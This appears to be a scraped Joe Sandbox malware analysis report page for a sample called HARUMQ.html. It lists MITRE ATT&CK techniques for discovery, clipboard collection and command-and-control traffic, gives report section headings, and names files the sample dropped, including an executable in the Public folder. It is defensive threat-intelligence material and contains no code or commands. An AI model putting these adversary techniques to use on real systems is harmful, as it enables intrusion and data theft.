Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report HARUMQ.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Other

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\filename.exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pzkscagc.r3q.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tqvsfwa5.dcp.ps1

C:\Users\user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JONTBIVYR72E7SG3O32U.temp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 77

\Device\ConDrv

Static File Info

General

File Icon

Windows Analysis Report
HARUMQ.html